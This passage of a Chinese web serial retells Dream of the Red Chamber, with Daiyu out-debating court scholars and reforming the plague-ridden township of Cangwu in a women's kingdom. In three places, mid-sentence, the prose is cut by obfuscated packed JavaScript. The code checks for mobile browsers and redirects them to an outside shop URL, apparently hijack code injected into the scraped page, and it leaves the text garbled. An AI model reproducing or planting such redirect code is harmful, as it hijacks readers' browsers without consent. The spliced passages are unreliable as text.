黛玉愕然抬眸,那人颈挂佛珠,穿着缁衣僧袍,右手持锡杖,左手托钵。 清澈而明亮的眼眸之下,是熟悉的面颊,和温柔的笑意。 “还请施主告诉贫僧,她在哪里?” 黛玉眼睫一颤。 她不想探究他剃发染衣,来到自己面前的理由,双手合十,垂眸留下一句:“她死了。” 而后,头也不回地没入了人群中。 明天就是赴琉璃岛与群儒对策的日子,她还不想因一点意外而分心。 关千雪为她准备了当代大儒名家的履历,黛玉扫过一眼就放下了。 茜香国由五个大岛及诸多小岛组成,五个大岛分别名为:琉璃岛、珊瑚岛、琥珀岛、砗磲岛、玛瑙岛。 其中王廷就位于茜香国最大的岛屿,琉璃岛上。 翌日,晴雯摇桨送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13186853|127102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黛玉首赴琉璃王廷,早见一行峨冠博带的男女大儒肃然端立在殿廷之上。 黛玉目不斜视,也不叩问诸儒之名,施礼已毕,直接请各位显问以政事经义。 鲁伯阳率先发难道:“姑娘当知欲戴王冠,必承其重。此前因前宗伯蠹弊之事,宰相出以公心,未施惩戒。姑娘心怀不忿,借端生事,让朝廷文武失和,贻笑大方。 姑娘未至茜香之前,朝廷将相文修武备,张弛有度。今姑娘至此,怂恿司马欺辱宗伯,颠唇簸嘴间闹得朝野上下,文臣离心,武将失德。反不如初时也,足见姑娘气小量狭,无王者胸怀!” 黛玉冷笑道:“鸿鹄万里,乌合群鸦焉识其志?骄阳悬天,沙聚萤光怎及其辉?我视诸君如群蚁腐鼠耳,尔等一时浅见,误国殃民矣。 茜香国吏治失范由来已久,四境虎狼环伺,不思自强之策,一味勉强涂饰,糊裱塞责。宰相希图苟安,文武坐享民脂,若无壮士断腕之决心,革旧维新之魄力,如何铲除陈弊,建构新章?” 这一问只把鲁伯阳说得哑口无言,无奈袖手退下。 宋子修也欲以唇舌相难,反问道:“若以重刑除吏治之恶,如以猛药治沉疴,焉能无损国本?” “宋先生此言谬也,国本为天下百姓,而非冗官冗员。”黛玉向他踏近一步,沉声道:“腐肉不剔,新肌难生。本就病入膏肓,若无刀刃向内,刮骨疗伤的勇气,如何重生?君不闻蝼蚁溃穴之迅,突隙焚室之疾耶!” 程元晦振袖扬声道:“天下氓隶不过蝇聚之众,文不识字,武不识兵。焉知国家大计,社稷安危!非比有识之士,久事朝堂,运筹帷幄。何堪国之本也。” 黛玉对答:“君所言之士,必是谋虚逐妄之人,钻营伪誉之徒,一不能临机应变,二不能力挽狂澜,便是臣满百数,将列千员,不过畏强凌弱之病熊,惧刀避剑之残虎,于国于民不过冠盖禽兽,钤印强盗耳。” 程元晦气得指戟,钳口不能对。 座间又一人问曰:“卿若为王,欲效始皇、武周之法,挟刑赏之柄驾御天下,诛臣工以扬威耶?” 黛玉展眸一看,诘问之人正是宰相真如密。 “真宰相以始皇、武周为滥杀之昏君,不知二人乃旷世雄主也。公天下之端自秦始,北筑长城,南收两越,一法度衡石丈尺,车同轨,书同文,明法度,定律令,百代都行秦政法。 武周博采谋猷,载兴文教,四海慕化,九夷禀朔,实乃女中英主。真卿闻明君之名,便猜贰献疑,岂非叨食樗栎,蔑主庸材。”黛玉言毕,淡然一笑。 真如密深吸了一口气,凝神片刻,默然无语。 鲁伯阳再问林思政:“汝父母何如人也?” 黛玉微微扬颈,答曰:“忠君爱国之人。” “此言差矣。”鲁伯阳轻蔑一笑,道:“想必汝父不识天时,汝母不知世务,以致于汝逞强好胜,傲气凌人,安得忠君爱国之名?” 见他辩不过人就辱人父母,黛玉当即厉声道:“鲁伯阳深文巧诋,非愚则诬。老小儿谵语乱弹,不足与言!” “汝父之名无可稽考,汝母……”鲁伯阳正欲狡辩。 “銮殿之上,鲁公小儿斗齿耶?”真如密果断打断了他。 鲁伯阳登时满面羞惭,低头丧气而不能对。 至此,世人皆知林思政社稷百问无一错漏,所作策论气势纵横,雄辩銮坡,声震殿廷,诸儒招架不能,尽皆垂头语塞。 茜香国文武两考,林思政勇夺双魁。 126.吾皇黛玉第一百二十六回 苍梧乡风行解弊病,茂苑港再兴发财地 半个月的文武双考过后,获得参与地方政务资格的竞选者只有六十人。 也就是说这六十人将被分配到茜香国五岛十州上,从乡间里长干起,一路凭考绩晋升到朝廷百司。 二十七个月的考核期中,要做一年里长,六月知事,五月明府,四月州牧。考绩落后于人,无法按时晋升到朝廷中枢。 面对再次抽签决定去处的办法,黛玉自嘲一笑,对监考官说:“想也知道,别人不挑剩下的也不给我。我就不抽了,只把你们不想去的地方留给我就是了。” 真如密恰听了这话,微有恼意,这孩子太倔了,若不吃个教训,将来是要跌跟头的。 便对监考官说:“林思政双考成绩优异,顾盼自雄,想必不惧万难,就让她去苍梧乡好了。” 监考官一时踌躇,为难道:“宰相大人,我茜香国一千两百乡,签盒里从来不放苍梧乡的名签呀……” 从前黛玉阅览茜香国地方志,就发现对于苍梧乡的记载只有寥寥数行字。 苍梧乡十七村,位于茜香国最北端的砗磲岛上,境内有煤矿,多坡路。 冬季漫长,雪花大如席。物产有限,美女如云,可谓千红仙会、万艳云集。 二十年前海港茂苑,车马辐辏,人烟埠盛,西洋海船、外国旅者、力壮旷工莫不群集于此。 不料疾疫大起,丧乱弘多,时人浑身起疮发疹,之后腹痛如绞,皮肤溃烂,乃至眉发堕落鼻梁断坏,最后中风痴呆,无奈俟命而已,茂苑海港就此落寞。 黛玉莞尔一笑,对监考官说:“既然真宰相看好我,思政知难而行,就去苍梧乡做里长了。” 真如密不由扶额摇头,监考官只得问其他竞选者:“诸位是否反对林思政放弃掣签,去苍梧乡做里长?” 五十九人面面相觑,无有一人发声,苍梧乡穷山恶水,民风刁薄,不啻于法外之地。倘若冒然去苍梧乡做里长,一旦不幸染病,能不能活过三月还是个问题。 监考官见众人默然,又问了一遍,还是无人发声,只得说:“既然大家都不反对,那就这样定了。” 星月与栗花二人将头低得极下,她们虽然敬服黛玉敢于挑战苍梧乡的勇气,但也认为选择苍梧乡,等于自断前程了。少了最有力的竞争者,她们还有争夺王位的希望。 眼见秋去冬来,黛玉晴雯二人添置完冬衣斗篷后,就退了客舍,辞别关千雪、尚凌风二人,轻舟简行赶赴苍梧乡。 晴雯数着手里所剩不多的金瓜子,唉声叹气地说:“姑娘,你干嘛要选这么个穷乡僻壤当里长,连个府衙都没有,又是数九寒天就飞鹅毛大雪的地方。一年功夫,咱们还得花钱赁房子,置家私,采买米粮煤炭、铺盖被褥都是一大笔消耗呢。” 黛玉坐在船头,托腮沉吟:“等你晴神医的名头打出去后,有的是钱向你招手呢。” 晴雯顿时精神起来,拍了拍自己的药箱,信心十足地说:“管他什么疑难杂症,到我手里,保管药到病除。” 黛玉二人一踏入苍梧乡,就感觉被人盯梢了,七拐八弯也甩不脱身后拄杖敲地的笃笃之音。 她只好回头扬声道:“别鬼鬼祟祟了,不如坦诚一见。” 那人提着锡杖,从阴暗的墙角慢慢走出来,抬头举目道:“林妹妹。” 晴雯见到光头宝玉,大惊失色,一声“二爷”脱口而出。 只有黛玉漠然视之,冷声道:“阿阇梨,有何见教?” 宝玉苦笑了起来,说:“妹妹是再聪明不过的人,见我这身形容,如何不明白?自当我以为姑娘死了,就抛家弃俗做了和尚,我对你的心天地可鉴,还有何疑?” 黛玉偏过头叹了一声,也不与他纠缠往事,只问他:“你想怎样?” “我与妹妹是有婚约的,妹妹难道忘了不成?”宝玉将手里的锡杖一撇,三两步走上来,“我当姑娘死了,才剃发染衣做了和尚,但姑娘尚在人间,我便还俗,还请允嫁为幸。” 黛玉听他饶舌,颇生恼意,双手抱臂道:“你口口声声为我剃度,四海列国何处不得化缘,偏要来女儿国千红仙会、万艳云集之地,莫非还想在枕边衾内,为女儿们讲经说法不成。” 宝玉听了,登时脸红,浑身不自在,狡辩道:“我只是近蛮夷之下国,传先师之遗法,并未有破戒违教之心。” 晴雯看了旧主一眼,见他死性不改,欲言又止。 只听黛玉轻哼了一声,质问他道:“你既许身佛门,心向弥陀,一见了我,为何又想起红尘未尽之约?你既对我起了弃道还俗之念,又何必标榜虔诚以自辩。” 闻此机锋,令宝玉哑口无言,竟不能答。 “我还有要紧的事做,无暇想前尘瓜葛。你要布道化斋也好,还俗成家也好,都请另觅缘人。你若还抱有一二分妄念搅扰我,恕我不近人情,深闭固拒。” 说罢,黛玉就挽着晴雯的手臂,大步离开了。 宝玉跟了几步,终究无颜相随,蹲在路上嘤嘤啜泣。 “哟,好俊的和尚,是谁不肯布施你,让你蹲在这儿哭呢!” 察觉肩上被人一拍,宝玉回头一看,不由怔住。 眼前的妇人丰腴妩媚,大似宝钗,绰约风流,又近可卿…… 黛玉带着晴雯四处看房舍,挑了一处靠山面海的二层小楼,一处临河的大田庄,一处向阳的大合院,花钱买了下来。 晴雯心疼地看着瘪下去的荷包,不解地问:“姑娘,咱们在这儿只住一年工夫,何必花大价钱置房产,还一出手就是三处。” “这里以后会富庶起来的,到时咱们靠吃租子就能坐享清福了。”黛玉十分笃定地说。 小楼用来她二人自住,田庄暂且闲置,大合院则挂牌苍梧惠民医坊,隔出五十间病房,专门收治本地的重症病患。 惠民医坊低调开张的第一天,听说坐堂看诊的是位女大夫,四十块待诊牌很快被一抢而空。 晴雯接诊了一天,发现所有病患个个面容姣好,她们病症相似,根源一处,只是轻重程度有别。 她每次为病人开方组药后,都不得不用烧酒净手,否则都不敢再向病人伸手探脉。 忙到下晌,晴雯才偷得一点儿空,好生洗了个澡。 犹豫半晌,晴雯才一脸凝重地对黛玉说:“姑娘,我接诊的病人都得了梅疮。这里根本不是赤贫绝粮之乡,而是流莺聚集之地。” 黛玉并不意外,叹了一口气道:“我早猜到了。导致人口不增的原因无非是战争饥荒疾疫这三种。苍梧乡土地贫瘠不假,但未经受战乱和天灾。 这里依托良港,又多煤矿,四海列国的达官贵人、富豪巨贾、流氓地痞、西洋海客都曾往来于此,他们带来了海货与挖煤旷工,也带来了疾病,加速了走婚制的崩塌。 外来人口打破了这里相对封闭的环境,很多羁旅外客,不受茜香国律法约束,并未遵守一夫一妻的走婚制。他们学扶桑人,以访妻的形式,许以金银同时供养几个女子。 以至于女子们不愿再从事辛苦的农桑垦殖,缫丝纺线,反而依赖男人的馈赠和赡养,以走婚为遮羞布,变相成为游妓暗娼。幕后黑手趁机垄断苍梧乡的商贸、煤矿市场,掌控女性人口,以贫穷为掩饰逃避关税,掠夺资源,输出海外。 不断发散的疾病和难以为继的抚养,导致了这里的妇人子嗣艰难,那些被抛弃的病弱女子,无法从事劳动,便开始游乞、惯窃、滥赌,如此恶性循环,曾经富饶的苍梧乡,就成了而今死气沉沉的样子。” 晴雯听了这一番话,怔了半晌,小嘴不由撅得老高,两只凤眼越发直瞪起来,怨声道:“姑娘,这什么污浊臭秽的鬼地方,你还巴巴地来。” “医术只能救疾病之体,不能救愚弱之心。”黛玉摇了摇头,她款款站起,双手负后,一边踱步一边说: “你以为苍梧乡只是一个特例吗?觊觎茜香国的扶桑国、真真国、海西国、佛朗机国,这些男子主政的国家,不断地用坚船利炮、异俗邪风冲击贫弱的女儿国。 恨不能将其异化成更大的苍梧乡,成为他们肆意掠夺,予取予求的后花园。只有解决了苍梧乡的困局,为百姓找到适合的出路,茜香国才能真正与列强并立于世。” 晴雯从来都很佩服林姑娘的见地与坚持,只是这一次,既要铲除隐于幕后海外金主,还要引导一干饱受欺凌、病痛折磨的女子,从地狱里爬出来,重新自力更生,其艰难程度可想而知。 黛玉见晴雯愁眉苦脸的样子,不由笑道:“你放心,我有的是主意,将此地陈风陋俗,荡涤净尽。” 她每天在苍梧乡四处巡视,将种种弊病疑难从头至尾细细思量多日,撰写了详细的变法纲要。主意已定,也不召集十七村村长商讨事宜,只是作出悠哉无事的懒散样子,并不露出愁苦烦闷之意。 几个村长闲来聚首,议论纷纷,皆认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200940|127102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为新里长不过是来混日子的,也不必赶着拜会,只当没这个人罢了。 为了更好地帮助苍梧乡的百姓治疗疾病,晴雯将所诊之症,及治疗方法分门别类地整理好,按患病程度进行调配。 因为专攻花柳病,成效卓著,惠民医坊名闻遐迩,许多尚有余财的病患慕名而来。 三剂见效,五副治愈的奇迹,让美貌的晴神医声名鹊起,可惜只她一人坐堂看诊,每日限发四十块待诊牌,还要兼顾卧病在床的重症者,多少有些忙不过来。 这时候,驻扎在茜香国的五万中原士兵的领帅,换成了明威将军柳新。与他同行至苍梧乡的,还有永龄、紫鹃以及五百名北戎部曲和太子送的两百万现银。 黛玉抱着柳新送来的信匣子,屈指一算,她来茜香国还不足两个月,永龄她们从京城到刺桐港再到苍梧乡,行程就要走二十来天。禛钰那个坏东西,“表妹”头七才过,就巴巴地把她的人给打包送过来了,竟不肯假装多伤心几天。 当永龄和紫鹃二人,听到太子问她们愿不愿意去茜香国,服侍林姑娘的时候,她们犹不敢相信林姑娘还活着,生怕只是彼此臆想出来的幻梦。 晴雯见她二人抱着黛玉不肯撒手,凤眸中瞬间带出几分不满来,他乡遇故知固然开心,医坊有了帮手诚然要谢,可也不能跟她争宠嘛! 苍梧乡十七个村长,终于在新里长到任月余后,才被正式召集起来。 黛玉吩咐她们在冬至之前,每个村成立一个由村长、乡贤组成的十人村社。 将所有户籍资料按她设计的框架重新整理,内容涵盖乡贯、姓名、年龄、丁口、田宅、资产、营生、走婚状态。 但凡育龄妇女与人走婚,务必在村社登记在册,绘影图形,在惠民医坊获得健康执照方可成亲,严禁一夫多妻或一妻多夫式走婚,如有违例,一律报知里长。结束走婚也应登记,未经登记不许再婚。 所有外来人口上岸必须绘影图形,接受身体检查,体检不合格者严禁成亲,如有违例,将其头脸图形张贴在村口布告栏上,警示众人。 几位村长面面相觑,一会儿“可是”,一会儿“但是”,完不成的理由一大堆,蝎蝎螫螫不肯执行。 黛玉也不惯他们的毛病,直接说:“既然你们才识钝拙,受令不偻,那这村长也不用当了。我直接叫才德兼备的人取而代之。” 数十位人高马大的北戎人,手扶腰刀现身人前,只把众村长震慑住了,再不敢推脱塞责,满口承诺。 黛玉将部曲安置在田庄中,三百四十人分成十七小组,协助村长处理户籍登记,其余人编队,每日轮岗巡街惩盗,访查赌场,收容乞丐。 如此执行了一个月,全境秩序井然,黛玉掌握了苍梧乡的所有情况。 先将那些游乞、惯偷等无业者进行身体检查,有病者免费诊疗,无病者开班培训各种技能,一部分充任医坊护理,一部分针绩纺线,一部分清扫街衢,一部分牧羊放牛,一部分制造矿车铺设轨道,一部分织网编篓。 对赌场老板、蓄奴富翁、养妓老鸨,黛玉知道他们不过是代为经营的“假东家”,劝其上缴不法所得,真老板不到堂的,资产全部收归公有,重新颁发确权印契。 诚然,并不是所有人都愿意被迫“干好事”的,黛玉也不强求,只是隔三差五派北戎人堵在赌坊门口,在市廛商铺前,摆上铜斗铁尺公平秤,抬请老鸨扫街清厕而已。 那些颇有资产的“假东家”,眼见不法生意干不下去,只得向里长投诚,纷纷按指示转行,乖乖补缴赋税,办学校、开矿场、养牛羊、造纸印刷。 就算有一二不服者,想要联络背后的海外金主,以求弹压林思政。 却发现在她悠哉晃荡的时候,已踩好路线,早派人把守在海港关隘,御边巡防密不透风,消息根本传不出去。 商户只得诚信经营,童叟无欺,再不敢肖想百倍暴利和侥幸免赋了。 等到大雪初降的时候,一切尘埃落定,苍梧乡已经大变样了。 起伏的坡道上,满是一节节靠势差输送的铁轨矿车,来回拉煤。那些填补本地劳力的外来旷工、商贾名流,为了不让画像挂上羞耻布告栏,再不敢“东眠西宿”了。 此时的苍梧乡已经成功脱离了背后金主的掌控,再不是海客眼中的烟花之所,也不是死亡笼罩的魔病之乡,更不是地瘠民贫的遐方绝域。而是茜香国最繁荣的港口,煤运之锁钥,海贸之枢纽。 127.吾皇黛玉第一百二十七回 真慈母设法近娇玉,美少年卧雪待仙姝 黛玉将自己住的小楼题名为“思政楼”,每日在一楼大厅接待求助的百姓,为她们出谋划策解决各种生活难题。 生忍了许久,她才鼓起勇气,翻开信匣,阅读禛钰用琴谱写的密信。 恰是从她“死”后第三天开始,万字长信,一天不辍,信上泪渍斑斑,字里行间写尽愧疚与相思,夹杂着几缕白发,叫人不忍卒读。 想到那个男人为了生离死别之苦,早生华发,白天要上朝理事,懒食厌饮,近乎辟谷,夜里垂泪至天明,不得安枕。黛玉又是心疼,又是嗔怪,又是挂念,又是无奈。 明威将军柳新日常打马巡边,每日清晨,他腕系铁臂鞲,擎鹘架鹰,跪在思政楼前,递送太子最新的信,顺便询问林姑娘,可有信笺要寄给太子。 苍梧乡驻地豢养了十二只鹰隼,每天轮流跨海飞翔,一天便可往返于东宫与思政楼之间。 但凡有片刻余暇,黛玉屡次提笔回信给禛钰,可心又不甘,即便落笔数千言,转念忧恼丛生,非将信撕成粉、烧成灰不算完,还不敢在人前多思多想,唯恐晴雯猜疑,正烦恼不决。 但凡柳新来思政楼前跪请发信,黛玉就让永龄站在阶上,生受他一跪,权当柳新请赎当日对永龄出言不逊之罪。 只是那两个冤家每日相见,彼此渐熟,必为一点没要紧的散话,争执口角两句。 气得晴雯两头抱怨:“坏透了的小蹄子,也不来医坊搭把手儿,只知道站着闲磕牙儿。姓柳的白眉赤眼天天来跪什么?不知道的,只当是想爬思政楼的窗户,求医问药的也朝我打听信儿,我成保媒拉纤的了。” 永龄嘟囔道:“他赖在地上不起来,我哪里能挪步,若不激他吵架,我怕他冻死了赖我。” 柳新忙道:“晴太医,我纵有十个脑袋,也不敢爬思政楼的窗户,还求你千万发语解释,万一被太子知道,我可就冤死了。” 听了几人的牢骚,黛玉也知自己该表个态,才能了局。 中原鼠患蝗灾未解,鞑靼虎踞北方蠢蠢欲动,她不能为一己之私,沉溺儿女情长,贻害无辜百姓。 但是对禛钰的信视而不见,她也做不到,于是就将自己查阅的清除鼠患的资料摘录下来,当做回信。 末尾加了一句“鸿蒙无心,草木忘情,方合天道。若为生民立命,尚可沟通。若言旧事,勿复相扰。” 但愿从此思政不思禛,直至河清海晏,天下太平。 黛玉将信笺好生叠起,将永龄唤来:“你把这信拿给柳将军交差,请他别再来了。” 永龄接过信笺,气愤道:“好姑娘,谅我从前是个呆瓜,不晓得‘王公子’这样恶劣,作死欺负姑娘,如今隔着海隔着国,自己来不了,还派个鹰爪子来纠缠。依我看,就不该回应,干晾着他们,一辈子不搭理才好呢。” 黛玉摇头苦笑:“好妹妹,待你历经风月波澜,尝过情缘滋味后,就说不出这话来了。” 永龄听得不甚明白,长叹而去。下楼又见一群姑娘围在柳新身边问东问西,十分殷勤。 这也难怪,茜香国女多男少,中原驻军默认就是育龄女子的走婚对象,更何况柳新长得一表人才,气宇轩扬,想他做情哥哥的女子,多得填街塞巷。思及此,她也不知怎的,心里像浸了一缸醋似的,酸得人难受。 永龄冷着脸将信笺扬在柳新眼前,没好气地说:“拿了信快走吧,少在这儿浪。” 柳新听了大喜,直蹦起来抓了信笺就走,很快把身后一群靓丽的姑娘给甩脱了,永龄这才面色稍缓,回惠民医坊帮忙去了。 自从惠民医坊开设已来,已经吸纳了数位良医,包括前来自荐的苏合香,每天看诊的人络绎不绝。 好在晴雯医术精湛,药到病除,复诊的人不多。 晴雯也不藏私,将梅疮每个阶段的治疗方法张榜公开。其他常见病症,如何未病先防,如何养生调养也都详细归纳出来,交由永龄刊刻印刷出来,再让北戎人四处派送招贴。 苍梧乡的冬季漫长且寒冷,虽有煤炭木材可以供暖,但全境不产棉花,平民百姓衣袄被衾大多由芦花、稻草填充,难以御寒,每年都有冻死人的情况。 为了解决这个难题,黛玉让北戎人收购了大量的家禽羽毛,经过晴雯的药熏除垢后,缝制成被服分发给家境贫寒的百姓。 在十七个村各选定一处广阔的屋子,铺设地龙,方便老弱病残集中取暖,地龙连同灶房,炊馔饮食亦便,自此民无冻馁矣。 展眼又至霜见月,黛玉吩咐紫鹃在楼上私室设置香案祭母。 玉醴流香,炉烟轻袅,黛玉跪在蒲团上,双手合十,喃喃祝祷。 真如密登上楼来见此情状,不由蹙眉,偏又不便解释,满腹烦恼郁结于心,打断她道:“聚散离合终归于空,何必作无益之悲,无谓之念。” 奠母之仪无端被人打断,黛玉怎生不恼,见紫鹃过来搬桌子收陈设,别有意味地说:“这会子就来做什么,急水也有回头浪,只你心比兰膏,还怕烧化了不成。” 紫鹃打量了真如密一眼,不敢申辩,垂手退至一旁。 真如密知道黛玉这丫头借此奚落自己,无奈道:“京城千人横死,凶手无踪,教我如何不急。” 黛玉听了这话,心惊回头,忙起身问:“怎么回事?” 真如密神色凝重,抬眸道:“前大宗伯吴岩家,三天前被人在一夕之间悄无声息灭了族,一千零一口皆一剑封喉,无人生还。” 黛玉蹙眉思忖,转向紫鹃问:“这几日苏合香可在医坊?” “在的,”紫鹃忙不迭点头:“苏大夫白天在医坊看诊,夜里还陪护重症病患,很是勤谨。” “我已经排除苏合香的嫌疑了。”真如密将手笼在袖中,继续说:“是京兆里长章德方向大司寇建言,外来行武男子皆有杀人之嫌。苍梧乡多了五百彪悍蛮夷,理当列为首疑犯。本相专程为此而来,少不得要在思政楼叨扰数日了。” “辛苦宰相了,苍梧乡境内所有人听凭您推鞫访查。”黛玉说罢,忙吩咐紫鹃收拾房屋,安置真宰相。 里长没有听讼断狱之权,黛玉也只得全力配合真宰相,追证勘覆五百北戎人的行踪。 黛玉发现真如密在办案时不苟言笑,私底下却十分随和,有意与自己拉近距离,借要案机密为由,还不许旁人在侧窥听窥看。 真如密常与黛玉散步交谈,不动声色地打听她在中原的旧事,黛玉不想多说,每每避重就轻,简略应付几句。 “思行善政的志向虽好,到底不符你的品貌气质,你原名叫什么?” 既然禛钰已经掌握了自己的行踪,黛玉也就没有刻意隐瞒自己的身份,便对真如密说:“小名黛玉。” 真如密见她总算松口,欣然一笑:“这名字多好,大抵是你母亲给起的。那我就叫你玉儿好了,你也别整天喊我宰相大人,这里又非朝堂公署之地,只唤我一声‘真娘’便好了。” 黛玉谦恭一笑:“思政怎敢逾矩。”她尚不知宰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211175|127102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相此举有何深意,少不得心下警戒,言语更慎。 “这会子倒谨密堤防起来,”真如密轻哼了一声,有些不满地说:“你一来就弄出几桩前无古人的事儿来,诈谋奇计炸毁了敌国船舰,三言两句扳倒了九卿上官,大刀阔斧治好了苍梧贫乡。我看你胆子大得很,教你喊我一声真娘,你就不敢了。莫非惧惮人言,不想戴‘巴高望上’的帽子,还是说你认为我处断不公,憎畏避忌于我?” 话激将到这份上,黛玉无法拂逆,只得从善如流,喊了一声:“真娘。” “好个可人疼的玉儿。”真如密听她含羞一唤,心花都开了,望着黛玉一味痴笑起来。 “真”字虽不假,到底也不该有才是。总有一天,她要让玉儿重新喊她一声“娘”。 黛玉与真如密同餐共食了七日,暇时说些家常闲语,越发亲密起来。 五百部曲的“嫌疑”终于彻底洗清,千人灭族惨案亘古未有,真如密身为宰牧,不得不回到京城,继续查案。 满天飘雪的日子,黛玉披了狐裘斗篷,撑着红伞,送走了真如密。 忽见一只游隼徐徐扑翅,驻足在眼前的黄杨树枝上,向她亮出了利爪上绑缚的小竹筒。 “给我的?”黛玉满心疑惑。 游隼的尖喙向下点了点,好似听懂了她的话。 黛玉打开竹筒的暗扣,抽出里面的纸条,是禛钰用琴谱写的一句诗。 “奈何许,天下人何限,慊慊只为汝。①” 一行字,让黛玉的心怦怦跳起来,捏着纸条的手指悄然颤抖。 她举着伞望向漫天雪花,轻轻地叹了一口气,茫茫的白雾呼出,在风中化作轻袅散去。 黛玉将纸条揣进袖中,撑着伞踽踽独行,忽然一阵大风袭来,吹跑了手里的红伞,犹如一片离枝的红叶,在风雪中飘摇远去。 她掀高斗篷挡住扑面而来的寒意,待风稍降下去,才走向红伞飞落的地方。 不想那伞下还躺着一个面无血色,姿容绝艳的姑娘。 一头乌发散在雪地里,白袍半裹在肩胛以下,犹如轻云薄雾笼在冰雪上。纤长的眼睫沾上了冰粒,失神的双眼,半睁半闭,整个人好似遭受天罚,堕落人间的仙子,孤艳冷冽又脆弱无依。 黛玉探了探那姑娘的鼻息,还有一丝热气,忙将斗篷解下来,罩在她身上,将她抱起,说:“不要睡,坚持一会儿,我带你找大夫。” 姑娘感受到了热源的靠近,求生的本能,让她一把拽住黛玉的手腕,骤然握紧。 黛玉受了冰寒一侵,汗毛登时直立起来,谁知那人的手像冬眠的蛇猝尔苏醒一样,沿着中衣袖管就那样窜了进来,死死缠在她的臂弯上。 为了救她的命,黛玉也只得忍着被“冻蛇”冰肌的不适感,将人抱去了惠民医坊。 晴雯迎了上来,见黛玉抱着一个冻僵的姑娘,忙叫苏合香抬一桶热水来。 因那人不肯撒手,黛玉又怕强硬挣脱会让她骨折,只好亲自动手帮她沐浴暖身。 晴雯转身去舀姜汤,苏合香上梯翻找羽绒被服。 氤氲热水中,姑娘裹身的白袍湿了个透,黛玉手指一僵,掀开白袍的手骤然松开,被水汽模糊的眼瞳中,惊起一丝错愕。 她两颊滚热,慌忙别过眼,蹙眉质问:“你是男人?” 雌雄莫辨的美人嘴角微微勾起,半眯的眼眸徐徐睁开,箍在黛玉臂上的手,却丝毫没有松开的意思,目光闪熠地盯着她道:“你看也看了,摸也摸了,还能有假。” 128.吾皇黛玉第一百二十八回 端正心黛玉大无私,驯桀骜美人变清源 黛玉扫了一眼少年的手,虎口处满是刀剑的划痕,眸色一凛,反手卸了他的胳膊,飒然起身。 对迎面而来的苏合香说:“他脱臼了,替他接骨,之后按外埠流民处理。” 在少年绵长的呼痛声中,她果断摔帘出去。 “你忍着疼,很快就好。”苏合香将羽绒被服放在矮板榻上,挽起袖子蹲在浴桶前,替他正骨。 “啊!”少年的声线妖娆妩媚,啮齿长嗟之音,没由来让人遐思女子初婚之夜,禁不住魂悸魄动。 苏合香一时耳热,见他是个清俊貌美的少年,话也多了起来,问他年岁家乡姓甚名谁,缘何至此。 少年睁着一双令人心醉神迷的狐狸眼,笑而不答,只是在她神思不属之时,扯下胸前的白袍,露出曲骨穴上的红色刺青。 苏合香倏然站起,脸色骤变舌桥不下,呆怔许久,才颤指问他:“你母亲是谁?” 苏家女子以貌美闻名,经常被人掠夺,辗转流落各处。 为了防止血脉混淆,苏家女子生下的孩子,都会用茜草为染料,刺上其名相同的纹样。 少年敛眸答道:“她叫苏陵游。” “不可能,这不可能!”苏合香赧然捂脸,泣不成声,“我娘死在了满刺加海峡,根本不可能有你。” 她方才还在妄想,自己好歹救了这少年半条命,若能与他走婚多好,此时心中却满是羞愧与惶惑。 “她被我父亲救起来了,成为了他诸多的妾室之一,而后就有了我。父亲喊我母亲为美人,唤我亦为美人。” 少年抬起雪白纤细的胳膊,一边撩水浇身,一边低头说:“陵游草纹,是我十二岁那年我母亲帮我刺的,不久后她就被迫为我父亲殉葬了。” 苏合香下意识揪紧了衣摆,她的身上也纹了一样的陵游草。 这个少年就是她的弟弟,而她今生只能与别人走婚,在自己孩子身上,刺下苏合香纹。 经过一番思想挣扎,苏合香不得不接受事实,向林思政说明了少年的来历,求她收容。 黛玉冷笑了一声,神色淡漠地说:“我这里不缺人手,你兄弟这般品貌,想要收容他的达官贵胄千千万,大可不必屈居于此。” 苏合香无奈道:“正因为他容色惊人,易遭觊觎。若在别处讨生活,保不齐要被人欺负死。我们姐弟戴仰林姑娘德义,愿为姑娘驱策,还求姑娘容情延纳。” “既然想留,那就让他去清理村头茅厕,打扫田庄马厩去罢,我这里不要无用的花瓶。”黛玉吩咐完就走了。 苏美人听闻姐姐的回复,嗤之一笑,转身拥被好眠。 没过几日,整个苍梧乡就怨声载道起来。 这个苏美人整日一副慵懒颓靡的样子,衣服非绸裘不穿,单披一身狐皮在雪地里乱逛;饭食非珍馐不吃,饿倒在别人家门口,被人救了还嫌东嫌西,说出的话来直戳人心肺,气得人火冒三丈,牙根咬碎。 被他祸害的几个村人受不了,只得将晕厥的苏美人用载舆担到思政楼下,请里长出面处理。 黛玉没见过这么难缠且不惜命的主儿,奈何自己又没有见死不救的硬心肠,只好让晴雯出手,把他救回来。 